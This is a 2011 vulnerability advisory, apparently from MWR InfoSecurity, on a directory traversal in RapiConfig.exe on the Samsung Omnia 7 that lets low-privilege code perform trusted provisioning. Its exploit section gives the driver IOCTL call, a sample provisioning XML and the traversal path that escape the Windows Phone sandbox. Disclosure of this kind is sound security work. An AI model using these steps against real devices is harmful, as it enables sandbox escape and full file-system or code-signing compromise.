
MWR InfoSecurity Advisory

Samsung Omnia 7 – RapiConfig.exe Directory Traversal

09/11/2011

Package Name	Samsung Omnia 7
Date	09/11/11
Affected Versions	Samsung Omnia 7 Firmware Version I8700ORARAJJ6 is confirmed to be vulnerable. Other Samsung firmwares may be affected.

Author	Alex Plaskett
Severity	High Risk
Local/Remote	Local
Vulnerability Class	Directory Traversal
Vendor	Samsung

Description

An executable was identified which could be used to perform device provisioning functionality in the context of the TCB user from the least privileged chamber (LPC).

Impact

This vulnerability could be used to perform actions on the trusted computing base (TCB) of the device and could ultimately lead to attacker controlled code execution. Device provisioning functionality provides the ability to modify components protected by the trusted computing base.

Cause

It is expected that the cause of this vulnerability is vendor specific debug code being inadvertently included in a production build.

Interim Workaround

As an interim workaround a security policy could be provided by the vendor to limit access to the driver functionality used to perform execution of the vulnerable binary.

Solution

A solution will require a patch from the vendor. It is expected that this debug functionality should be removed from production firmware before deployment. Multiple attempts were made to contact the vendor which were unsuccessful therefore MWR has decided to release this advisory.

Introduction

A vulnerability exists on Samsung Omnia 7 phones which contain the Rapiconfig.exe executable. This vulnerability has been confirmed and tested on Samsung Omnia 7; however, other Samsung Windows Phone 7 devices may be affected.

The vulnerability exists due to the presence of what is assumed to be factory configuration/development functionality left in retail devices from pre-production phones. The Rapiconfig.exe exposes functionality which would provide an attacker a method of perform TCB functionality.

In order to understand the severity of this vulnerability then it is necessary for the Windows Phone 7 security model to be examined.

Windows Phone 7 uses the concept of chambers to implement its security model.

There are four chamber types (in order of privilege from highest to low) as follows:

- Trusted Computing Base (TCB) – Fixed Permissions
- Elevated Rights – Fixed Permissions
- Standard Rights – Fixed Permissions
- Least Privilege Chamber (LPC) – Dynamic Permissions

When a third party Silverlight application is deployed a chamber is created using the Least Privilege Chamber permission set.

Mobile Internet Explorer also was found to run in the least privileged chamber restricting the access that the browser has to resources on the system.

When accessing a resource a security policy check is carried out to determine if the caller has access to the resource. The access checks are implemented in the kernel using SID's to identify the applications/users and a policy database to allow or deny access.

As well as the chamber based sandbox model the kernel enforces separation between user land and kernel space to ensure segregation between user and kernel memory address spaces.

The vulnerability identified allows an attacker to bypass these security restrictions and perform device provisioning functionality which is typically limited to the TCB.

Technical Description

The executable RapiConfig.exe provides a method of performing device provisioning functionality for XML documents located in the \\provxml directory.

The sandbox security model prevents least privileged applications from writing to the file system at this location. Device provisioning functionality should only be available to the trusted computing base (TCB) and policy restrictions prevent calling the Microsoft implemented functionality directly.

The following security policy demonstrates the loading of RapiConfig.exe to the TCB chamber (SYSTEM_USER_NAME).

```
<Rule Description="Route Rapiconfig.exe" PriorityCategoryId="PRIORITY_LOW"
SpeakerAccountId="$(SYSTEM_USER_NAME)"
ResourceIri="$(LOADERVERIFIER_ROUTE_BY_NAME)/PRIMARY/WINDOWS/RAPICONFIG.EXE">
  <Authorize>
  <Match AuthorizationIds="LV_ACCESS_EXECUTE" AccountId="$(SYSTEM_USER_NAME)"/>
  </Authorize>
</Rule>

<Rule Description="Authorize Rapiconfig.exe be loadable to $(SYSTEM_USER_NAME) and
$(SYSTEM_IDENTITY_GROUP_NAME) chambers" PriorityCategoryId="PRIORITY_STANDARD"
SpeakerAccountId="$(SYSTEM_USER_NAME)"
ResourceIri="$(LOADERVERIFIER_EXE_AUTHZ_INROM_ROOT)/WINDOWS/RAPICONFIG.EXE">
  <Authorize>
  <Match AuthorizationIds="LV_ACCESS_EXECUTE, LV_ACCESS_LOAD" AccountId="$(SYSTEM_USER_NAME)"/>
  <Match AuthorizationIds="LV_ACCESS_EXECUTE, LV_ACCESS_LOAD"
  AccountId="$(SYSTEM_IDENTITY_GROUP_NAME)"/>
  </Authorize> </Rule>
```

RapiConfig.exe was found to be vulnerable to a directory traversal due to the insecure use of a format string function (wsprintfw) used to construct a path to the XML document used for provisioning. The format string specified was found to use attacker controlled input with no sanity checking being performed.

.text:00018628	LDR	R1, =aProvxmlS ; "\\provxml\\%s"
.text:0001862C	MOV	R3, #0
.text:00018630	MOV	R2, R4
.text:00018634	ADD	R0, SP, #0x6A4C+FileName ; lpBuffer
.text:00018638	STR	R3, [SP, #0x6A4C+NumberOfBytesRead]
.text:0001863C	MOV	R11, #0
.text:00018640	MOV	R10, #0
.text:00018644	BL	wsprintfw

An attacker running in the least privileged chamber is only allowed to perform file system operations in the directory limited to the Isolated Storage functionality. No Samsung device drivers were identified which performed native file system operations which could be used to circumvent this policy restriction.

It is possible through the use of this directory traversal to craft a custom device provisioning XML document into the devices IsolatedStorage which can then passed as arguments to the RapiConfig.exe executable.

It should be noted that the least privileged chamber (LPC) does not have permission to execute binaries on the device. Therefore it is necessary to use an unsecured device IOCTL interface to perform the execution of the RapiConfig.exe binary as demonstrated in the following section.

Exploit Information

In order to exploit this vulnerability then it is necessary to make use of an insecure elevated chamber device driver interface.

```
[HKEY_LOCAL_MACHINE\Drivers\BuiltIn\SRILUIProxy]
  "Prefix"="SRP"
  "Dll"="SRILUIProxy.dll"
  "Index"=dword:1
  "Flags"=dword:10
  "AccountSid"="SID_UDEVICE_ELEVATED"
  "IClass"=multi_sz:"{4619249B-6362-4520-B700-984C8E7BC7A4}"
```

SRILUIProxy.dll driver exposes the following DeviceIoControl functionality which executes in the context of the elevated chamber:

```
struct REQUEST
{
    DWORD method;
    DWORD reserved;
    BSTR application;
    BSTR arguments;
    DWORD* result;
};

hDevice = CreateFileW(L"SRP1:", 0xC0000000, 3, 0, 3, 0, 0);
DeviceIoControl(hDevice, 0x80002000, &request, sizeof(params), 0, 0, 0, 0);
```

This is also exposed through a COM wrapper so that managed C# code can use ID_CAP_INTEROPSERVICES capability.

```
void LaunchExe(string exe, string arg);
```

A device provisioning XML document can be written to the IsolatedStorage which contains file system operations. This allows full access to the file system which could not be provided to the LPC chamber. This functionality could also be used to insert code signing certificates into the code integrity certificate store.

An example of a device provisioning XML which performs a file copy is as follows:

```
"<wap-provisioningdoc>
  <characteristic type="FileOperation">
    <characteristic type="\\Temp\\alextest.txt" translation="install">
      <characteristic type="Copy">
        <parm name="Source" value="\\Temp\\RapiConfigOut.xml" translation="install"/>
      </characteristic>
    </characteristic>
  </characteristic>
</wap-provisioningdoc>";
```

Full FileOperation documentation can be found on the XML provisioning at <http://msdn.microsoft.com/en-us/library/gg155022.aspx>

The directory traversal path can then be constructed to the provxml document previously written to the IsolatedStorage using managed C# code.

```
cmdline = "..\\Applications\\Data\\3517508a-be1d-4168-947f-7a28c756df96\\Data\\IsolatedStore\\test.provxml
```

The path to the IsolatedStorage location for the application is constructed by using the following syntax ([\\Applications\\Data\\GUID-OF-APP\\Data\\IsolatedStorage](#)) and the name of the provxml document created in the store.

This path can then be used with either the above DeviceIoControl call from native code or from managed code as follows:

```
("\\Windows\\RapiConfig.exe", cmdline);
```

In order to read the response of the device provisioning the file [\\Temp\\RapiConfigOut.xml](#) can be moved back into the applications IsolatedStorage and read using conventional Isolated Storage read methods.

Dependencies

In order to exploit this vulnerability then it would require the attacker to already have code running on the device (for example in the least privileged chamber with ID_CAP_INTEROPSERVICES capability). However, this vulnerability could be used to circumvent the security model enforced by the Windows Phone 7 kernel chambers model from a low privileged chamber.